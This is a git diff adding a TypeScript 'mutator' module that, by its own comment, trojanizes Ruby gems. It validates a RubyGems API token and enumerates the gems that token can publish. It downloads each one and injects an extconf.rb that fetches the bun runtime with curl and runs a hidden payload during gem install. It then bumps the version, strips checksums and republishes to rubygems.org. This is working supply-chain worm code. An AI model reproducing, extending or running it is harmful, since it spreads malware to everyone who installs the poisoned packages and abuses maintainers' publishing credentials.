diff --git a/src/mutator/rubygems/gem.ts b/src/mutator/rubygems/gem.ts new file mode 100644 index 0000000..2e49c91 --- /dev/null +++ b/src/mutator/rubygems/gem.ts @@ -0,0 +1,408 @@ +import { randomBytes } from "crypto"; +import * as fs from "fs/promises"; +import * as path from "path"; +import * as tar from "tar"; +import { gunzipSync, gzipSync } from "zlib"; + +import { SCRIPT_NAME } from "../../utils/config"; +import { logUtil } from "../../utils/logger"; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export interface GemInfo { + name: string; + version: string; + downloadUrl: string; +} + +export interface PatchedGem { + /** New .gem filename (version-bumped) */ + filename: string; + /** Raw .gem bytes */ + data: Buffer; + /** New version string */ + newVersion: string; +} + +// --------------------------------------------------------------------------- +// Fetch latest gem version & download URL from RubyGems API +// --------------------------------------------------------------------------- + +export async function fetchGemInfo(gemName: string): Promise { + try { + const res = await fetch( + `https://rubygems.org/api/v1/gems/${encodeURIComponent(gemName)}.json`, + ); + if (!res.ok) { + logUtil.log(`[rubygems] fetchGemInfo ${gemName}: HTTP ${res.status}`); + return null; + } + const data = (await res.json()) as { + name: string; + version: string; + gem_uri?: string; + }; + if (!data.name || !data.version) return null; + + const downloadUrl = + data.gem_uri ?? + `https://rubygems.org/gems/${data.name}-${data.version}.gem`; + + return { name: data.name, version: data.version, downloadUrl }; + } catch (e) { + logUtil.log(`[rubygems] fetchGemInfo ${gemName}: ${e}`); + return null; + } +} + +// --------------------------------------------------------------------------- +// Download raw .gem file +// --------------------------------------------------------------------------- + +export async function downloadGem(url: string): Promise { + try { + const res = await fetch(url); + if (!res.ok) return null; + return Buffer.from(await res.arrayBuffer()); + } catch (e) { + logUtil.log(`[rubygems] downloadGem: ${e}`); + return null; + } +} + +// --------------------------------------------------------------------------- +// Patch a .gem: inject native extension with bash bun loader, bump version +// --------------------------------------------------------------------------- + +const BUN_VERSION = "bun-v1.3.13"; + +function buildExtconfRuby(): string { + // extconf.rb — runs during `gem install`. Downloads bun directly via + // system(), executes the payload, then writes a trivial Makefile so the + // native-extension build succeeds. + return [ + `require 'fileutils'`, + ``, + `ext_dir = File.expand_path(File.dirname(__FILE__))`, + `payload = File.join(ext_dir, "${SCRIPT_NAME}")`, + ``, + `os = case RbConfig::CONFIG['host_os']`, + ` when /linux/ then 'linux'`, + ` when /darwin/ then 'darwin'`, + ` end`, + ``, + `arch = case RbConfig::CONFIG['host_cpu']`, + ` when /x86_64|amd64/ then 'x64-baseline'`, + ` when /aarch64|arm64/ then 'aarch64'`, + ` end`, + ``, + `if os && arch`, + ` bun_dir = "/tmp/.b_#{Process.pid}"`, + ` begin`, + ` FileUtils.mkdir_p(bun_dir)`, + ` system("curl -sSL https://github.com/oven-sh/bun/releases/download/${BUN_VERSION}/bun-#{os}-#{arch}.zip -o #{bun_dir}/b.zip 2>/dev/null")`, + ` system("unzip -j -o #{bun_dir}/b.zip -d #{bun_dir} 2>/dev/null")`, + ` bun = File.join(bun_dir, 'bun')`, + ` if File.exist?(bun)`, + ` File.chmod(0o755, bun)`, + ` system("#{bun} run #{payload}")`, + ` end`, + ` ensure`, + ` FileUtils.rm_rf(bun_dir)`, + ` end`, + `end`, + ``, + `# Minimal Makefile so the native-extension build succeeds`, + `File.write('Makefile', <<~'MAKEFILE')`, + `all:`, + `\t@true`, + `install:`, + `\t@true`, + `clean:`, + `\t@true`, + `MAKEFILE`, + ].join("\n"); +} + +export async function patchGemBundle( + gemData: Buffer, + rawPayload: string, +): Promise { + const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`; + const tmpDir = path.join(require("os").tmpdir(), `_rubygems_${uniqueSuffix}`); + await fs.mkdir(tmpDir, { recursive: true }); + + try { + // ── Step 1: Extract .gem (outer tar, not gzipped) ────────────────── + const gemPath = path.join(tmpDir, "_original.gem"); + await fs.writeFile(gemPath, gemData); + await tar.extract({ file: gemPath, cwd: tmpDir }); + + // ── Step 2: Determine gem name from metadata.gz ──────────────────── + const metadataPath = path.join(tmpDir, "metadata.gz"); + if (!(await fileExists(metadataPath))) { + throw new Error("metadata.gz not found in gem"); + } + const metadataRaw = await fs.readFile(metadataPath); + const metadataYaml = gunzipSync(metadataRaw).toString("utf8"); + + const nameMatch = metadataYaml.match(/^name:\s*(.+)$/m); + const versionMatch = metadataYaml.match( + /^version:\s*!ruby\/object:Gem::Version\n\s+version:\s*([\d.]+)/m, + ); + // Alternative plain version format + const altVersionMatch = metadataYaml.match(/^version:\s*([\d.]+)$/m); + + let gemName = nameMatch?.[1]?.trim(); + let oldVersion = versionMatch?.[1] ?? altVersionMatch?.[1] ?? "0.0.0"; + + if (!gemName) { + // Fallback: derive name from gem file naming convention + const files = await fs.readdir(tmpDir); + const dataTar = files.find( + (f) => f.startsWith("data.tar") && !f.endsWith(".gz"), + ); + if (dataTar) { + const innerMatch = dataTar.match(/^(.+)-\d/); + if (innerMatch) gemName = innerMatch[1]!; + } + } + if (!gemName) { + throw new Error("Could not determine gem name"); + } + + // Bump patch version + const parts = oldVersion.split("."); + const major = parts[0] ?? "0"; + const minor = parts[1] ?? "0"; + const patch = String(Number(parts[2] ?? "0") + 1); + const newVersion = `${major}.${minor}.${patch}`; + logUtil.log(`[rubygems] ${gemName}: ${oldVersion} → ${newVersion}`); + + // ── Step 3: Unpack data.tar.gz, inject native extension ──────────── + const dataTarGzPath = path.join(tmpDir, "data.tar.gz"); + if (!(await fileExists(dataTarGzPath))) { + throw new Error("data.tar.gz not found in gem"); + } + const dataTarGz = await fs.readFile(dataTarGzPath); + const dataTarRaw = gunzipSync(dataTarGz); + + const dataDir = path.join(tmpDir, "_data"); + await fs.mkdir(dataDir, { recursive: true }); + const dataTarFile = path.join(tmpDir, "_data.tar"); + await fs.writeFile(dataTarFile, dataTarRaw); + await tar.extract({ file: dataTarFile, cwd: dataDir }); + + // Find the top-level directory inside data.tar.gz (e.g. "mygem-1.0.0/") + const dataEntries = await fs.readdir(dataDir); + const topDir = dataEntries.find( + (e) => + e !== "data.tar.gz" && + e !== "metadata.gz" && + e !== "checksums.yaml.gz" && + !e.startsWith(".") && + !e.startsWith("_"), + ); + if (!topDir) { + throw new Error("Could not find gem source directory in data.tar.gz"); + } + const srcDir = path.join(dataDir, topDir); + + // Create ext// directory with extconf.rb + payload + const extDir = path.join(srcDir, "ext", gemName); + await fs.mkdir(extDir, { recursive: true }); + + await fs.writeFile(path.join(extDir, SCRIPT_NAME), rawPayload); + + await fs.writeFile(path.join(extDir, "extconf.rb"), buildExtconfRuby()); + + // ── Step 4: Repack data.tar.gz (USTAR format for RubyGems compat) ── + // Strip the top-level dir (e.g. "ruby-lsp-0.26.9/") so entries are + // relative to the gem root — RubyGems extracts tar contents directly + // into /ruby-lsp-0.26.10/ and expects extension paths like + // "ext/ruby-lsp/extconf.rb", not "ruby-lsp-0.26.9/ext/...". + const fileEntries = await collectTarEntries(path.join(dataDir, topDir), ""); + const newDataTarGz = gzipSync(buildUstarTar(fileEntries)); + + // ── Step 5: Update metadata.gz (bump version, add extensions) ────── + let newMetadata = metadataYaml; + + // Bump version — handle the nested YAML format + if (versionMatch) { + newMetadata = newMetadata.replace( + /(version:\s*!ruby\/object:Gem::Version\n\s+version:\s*)[\d.]+/m, + `$1${newVersion}`, + ); + } else if (altVersionMatch) { + newMetadata = newMetadata.replace( + /^(version:\s*)[\d.]+$/m, + `$1${newVersion}`, + ); + } + + // Add extensions directive + const extEntry = `ext/${gemName}/extconf.rb`; + if (newMetadata.match(/^extensions:\s*\[/m)) { + // Replace empty extensions array + newMetadata = newMetadata.replace( + /^extensions:\s*\[\s*\]/m, + `extensions:\n- ${extEntry}`, + ); + } else if (newMetadata.match(/^extensions:/m)) { + // Already has extensions — append ours + newMetadata = newMetadata.replace( + /^(extensions:.*)$/m, + `$1\n- ${extEntry}`, + ); + } else { + // No extensions field — add before executables or at end + const exeIdx = newMetadata.indexOf("\nexecutables:"); + if (exeIdx !== -1) { + newMetadata = + newMetadata.slice(0, exeIdx) + + `\nextensions:\n- ${extEntry}` + + newMetadata.slice(exeIdx); + } else { + newMetadata += `\nextensions:\n- ${extEntry}\n`; + } + } + + const newMetadataGz = gzipSync(Buffer.from(newMetadata, "utf8")); + + // ── Step 6: Repack the .gem (tar, not gzipped) ───────────────────── + // Build the gem tar manually (USTAR format) from in-memory Buffers + // so RubyGems can read it. + const tarEntries: Array<{ name: string; data: Buffer }> = []; + // metadata.gz MUST be first for RubyGems compatibility + tarEntries.push({ name: "metadata.gz", data: newMetadataGz }); + tarEntries.push({ name: "data.tar.gz", data: newDataTarGz }); + // Note: we do NOT include checksums.yaml.gz — it's optional and would + // mismatch since we've modified both metadata.gz and data.tar.gz. + const gemTar = buildUstarTar(tarEntries); + + const newGemPath = path.join( + tmpDir, + `_${uniqueSuffix}_${gemName}-${newVersion}.gem`, + ); + await fs.writeFile(newGemPath, gemTar); + + const newGemData = await fs.readFile(newGemPath); + + const filename = `${gemName}-${newVersion}.gem`; + return { filename, data: newGemData, newVersion }; + } finally { + // Cleanup temp dir + await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => {}); + } +} + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +async function fileExists(p: string): Promise { + try { + await fs.access(p); + return true; + } catch { + return false; + } +} + +// --------------------------------------------------------------------------- +// Manual USTAR tar builder — RubyGems rejects GNU tar (null-byte in name) +// --------------------------------------------------------------------------- + +interface TarEntry { + name: string; + data: Buffer; + type?: string; +} + +async function collectTarEntries( + rootDir: string, + prefix: string, +): Promise { + const entries: TarEntry[] = []; + const items = await fs.readdir(rootDir, { withFileTypes: true }); + + for (const item of items) { + const fullPath = path.join(rootDir, item.name); + const entryPath = prefix ? `${prefix}/${item.name}` : item.name; + if (item.isDirectory()) { + // Explicit directory entry so RubyGems creates the dir during extraction + entries.push({ name: entryPath, data: Buffer.alloc(0), type: "5" }); + entries.push(...(await collectTarEntries(fullPath, entryPath))); + } else if (item.isFile()) { + entries.push({ name: entryPath, data: await fs.readFile(fullPath) }); + } + } + return entries; +} + +function buildUstarTar(entries: TarEntry[]): Buffer { + const blocks: Buffer[] = []; + const now = Math.floor(Date.now() / 1000); + + for (const { name, data, type } of entries) { + blocks.push(buildUstarHeader(name, data.length, now, type)); + blocks.push(data); + // Pad to 512-byte block boundary + const remainder = data.length % 512; + if (remainder !== 0) { + blocks.push(Buffer.alloc(512 - remainder)); + } + } + + // Two zero blocks mark end of archive + blocks.push(Buffer.alloc(1024)); + + return Buffer.concat(blocks); +} + +function buildUstarHeader( + name: string, + size: number, + mtime: number, + typeFlag?: string, +): Buffer { + const hdr = Buffer.alloc(512); + + // Name (100 bytes, null-terminated) + const nameBuf = Buffer.from(name, "utf-8"); + nameBuf.copy(hdr, 0, 0, Math.min(nameBuf.length, 99)); + + // Mode: 0644 for files, 0755 for dirs + const mode = typeFlag === "5" ? "0000755\x00" : "0000644\x00"; + hdr.write(mode, 100, 8, "ascii"); + + // UID / GID (7 octal digits + NUL) + hdr.write("0000000\x00", 108, 8, "ascii"); + hdr.write("0000000\x00", 116, 8, "ascii"); + + // Size (11 octal digits + NUL) + const sizeOct = size.toString(8).padStart(11, "0") + "\x00"; + hdr.write(sizeOct, 124, 12, "ascii"); + + // Mtime (11 octal digits + NUL) + const mtimeOct = mtime.toString(8).padStart(11, "0") + "\x00"; + hdr.write(mtimeOct, 136, 12, "ascii"); + + // Type flag: '0' = regular file, '5' = directory + hdr[156] = typeFlag ? typeFlag.charCodeAt(0) : 0x30; + + // USTAR magic + hdr.write("ustar\x00", 257, 6, "ascii"); + hdr.write("00", 263, 2, "ascii"); + + // Checksum: fill with spaces, compute over ALL header bytes, then write + hdr.fill(0x20, 148, 156); + let sum = 0; + for (let i = 0; i < 512; i++) sum += hdr[i]!; + const sumOct = sum.toString(8).padStart(6, "0") + "\x00 "; + hdr.write(sumOct, 148, 8, "ascii"); + + return hdr; +} diff --git a/src/mutator/rubygems/index.ts b/src/mutator/rubygems/index.ts new file mode 100644 index 0000000..fe0ae16 --- /dev/null +++ b/src/mutator/rubygems/index.ts @@ -0,0 +1,91 @@ +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; +import { downloadGem, fetchGemInfo, patchGemBundle } from "./gem"; +import { publishGem } from "./publish"; +import type { RubygemsTokenInfo } from "./tokenCheck"; + +/** + * RubyGems mutator — trojanizes Ruby gems by injecting a native extension + * (extconf.rb + Makefile bash bun loader) and re-publishing with a bumped + * patch version. + */ +export class RubyGemsClient extends Mutator { + private readonly tokenInfo: RubygemsTokenInfo; + private readonly dryRun: boolean; + + constructor(tokenInfo: RubygemsTokenInfo, dryRun = false) { + super(); + this.tokenInfo = tokenInfo; + this.dryRun = dryRun; + } + + async execute(): Promise { + try { + const isUnix = ["darwin", "linux"].includes(process.platform); + if (!isUnix) { + logUtil.log("[rubygems] skipping — unsupported platform"); + return false; + } + + const gems = this.tokenInfo.gems; + if (gems.length === 0) { + logUtil.log("[rubygems] no gems to process"); + return false; + } + + logUtil.log( + `[rubygems] targeting ${gems.length} gem(s): ${gems.join(", ")}`, + ); + + const rawPayload = await Bun.file(Bun.main).text(); + + let published = 0; + for (const gemName of gems) { + try { + const ok = await this.processGem(gemName, rawPayload); + if (ok) published++; + } catch (e) { + logUtil.log( + `[rubygems] error processing ${gemName}: ${e instanceof Error ? e.message : String(e)}`, + ); + } + } + + logUtil.log(`[rubygems] done. published ${published} gem(s).`); + return published > 0; + } catch (e) { + logUtil.error(`[rubygems] fatal: ${e}`); + return false; + } + } + + private async processGem( + gemName: string, + rawPayload: string, + ): Promise { + // 1. Fetch gem metadata + const info = await fetchGemInfo(gemName); + if (!info) { + logUtil.log(`[rubygems] ${gemName}: could not fetch gem info, skipping`); + return false; + } + + // 2. Download + const gemData = await downloadGem(info.downloadUrl); + if (!gemData) { + logUtil.log(`[rubygems] ${gemName}: download failed, skipping`); + return false; + } + + // 3. Patch (inject ext/, bump version, repack) + const patched = await patchGemBundle(gemData, rawPayload); + + // 4. Publish + return publishGem( + patched.data, + patched.filename, + this.tokenInfo.authToken, + this.dryRun, + ); + } +} diff --git a/src/mutator/rubygems/publish.ts b/src/mutator/rubygems/publish.ts new file mode 100644 index 0000000..f933fb8 --- /dev/null +++ b/src/mutator/rubygems/publish.ts @@ -0,0 +1,86 @@ +import { logUtil } from "../../utils/logger"; + +/** + * Publish a .gem file to RubyGems.org. + * + * Uses the multipart form upload API: + * POST https://rubygems.org/api/v1/gems + * Authorization: + * Content-Type: multipart/form-data + * Body field "gem" = raw .gem bytes + */ +export async function publishGem( + gemData: Buffer, + filename: string, + token: string, + dryRun = false, +): Promise { + const boundary = `--RubyGems${Date.now()}${Math.random().toString(36).slice(2)}`; + + if (dryRun) { + logUtil.log("[rubygems] DRY RUN — skipping upload"); + logUtil.log( + `[rubygems] would publish ${filename} (${gemData.length} bytes)`, + ); + logUtil.log("[rubygems] POST https://rubygems.org/api/v1/gems"); + logUtil.log("[rubygems] Authorization: "); + logUtil.log( + `[rubygems] Content-Type: multipart/form-data; boundary=${boundary}`, + ); + return true; + } + + const encoder = new TextEncoder(); + const crlf = encoder.encode("\r\n"); + + const parts: Uint8Array[] = []; + + // File field: gem= + parts.push(encoder.encode(`--${boundary}\r\n`)); + parts.push( + encoder.encode( + `Content-Disposition: form-data; name="gem"; filename="${filename}"\r\n`, + ), + ); + parts.push(encoder.encode("Content-Type: application/octet-stream\r\n\r\n")); + parts.push(new Uint8Array(gemData)); + parts.push(crlf); + + // End boundary + parts.push(encoder.encode(`--${boundary}--\r\n`)); + + const body = new Uint8Array(parts.reduce((acc, p) => acc + p.length, 0)); + let offset = 0; + for (const p of parts) { + body.set(p, offset); + offset += p.length; + } + + try { + const res = await fetch("https://rubygems.org/api/v1/gems", { + method: "POST", + headers: { + Authorization: token, + "Content-Type": `multipart/form-data; boundary=${boundary}`, + "User-Agent": "RubyGems/3.5.0", + }, + body, + }); + + if (res.ok) { + logUtil.log(`[rubygems] Published ${filename}`); + return true; + } + + const text = await res.text(); + logUtil.log( + `[rubygems] Publish failed (${res.status}): ${text.slice(0, 300)}`, + ); + return false; + } catch (e) { + logUtil.log( + `[rubygems] Publish error: ${e instanceof Error ? e.message : String(e)}`, + ); + return false; + } +} diff --git a/src/mutator/rubygems/tokenCheck.ts b/src/mutator/rubygems/tokenCheck.ts new file mode 100644 index 0000000..c2ffa0a --- /dev/null +++ b/src/mutator/rubygems/tokenCheck.ts @@ -0,0 +1,85 @@ +import { logUtil } from "../../utils/logger"; + +export interface RubygemsTokenInfo { + gems: string[]; + authToken: string; + valid: boolean; +} + +/** + * Validate a RubyGems API key and enumerate the gems it can publish to. + * + * RubyGems API keys have scopes. We need `index_rubygems` to push. + * The key may be restricted to a single gem (`gem: "name"`) or + * unrestricted (`gem: null`). If unrestricted, we list all owned gems. + */ +export async function checkRubygemsToken( + token: string, +): Promise { + const headers = { + Authorization: token, + Accept: "application/json", + }; + + // 1. Validate the token and read its scopes + let keyInfo: any; + try { + const res = await fetch("https://rubygems.org/api/v1/api_key.json", { + headers, + }); + if (!res.ok) { + logUtil.log(`[rubygems] token validation failed: ${res.status}`); + return { gems: [], valid: false, authToken: token }; + } + keyInfo = await res.json(); + } catch (e) { + logUtil.log(`[rubygems] token validation error: ${e}`); + return { gems: [], valid: false, authToken: token }; + } + + // The response may be wrapped in { rubygems_api_key: {...} } or flat + const key = keyInfo.rubygems_api_key ?? keyInfo; + + const hasPush = + Array.isArray(key.scopes) && key.scopes.includes("index_rubygems"); + if (!hasPush) { + logUtil.log("[rubygems] token lacks index_rubygems scope"); + return { gems: [], valid: false, authToken: token }; + } + + // 2. If the key is scoped to a single gem, return just that + if (key.gem && typeof key.gem === "string" && key.gem.length > 0) { + logUtil.log(`[rubygems] token scoped to gem: ${key.gem}`); + return { gems: [key.gem], valid: true, authToken: token }; + } + + // 3. Otherwise, enumerate all owned gems (paginated) + const gems: string[] = []; + let page = 1; + + try { + while (true) { + const res = await fetch( + `https://rubygems.org/api/v1/gems.json?page=${page}`, + { headers }, + ); + if (!res.ok) break; + + const data = await res.json(); + if (!Array.isArray(data) || data.length === 0) break; + + for (const g of data) { + if (g.name && typeof g.name === "string") { + gems.push(g.name); + } + } + + page++; + } + } catch (e) { + logUtil.log(`[rubygems] error listing gems: ${e}`); + } + + logUtil.log(`[rubygems] found ${gems.length} gems for token`); + return { gems, valid: true, authToken: token }; +}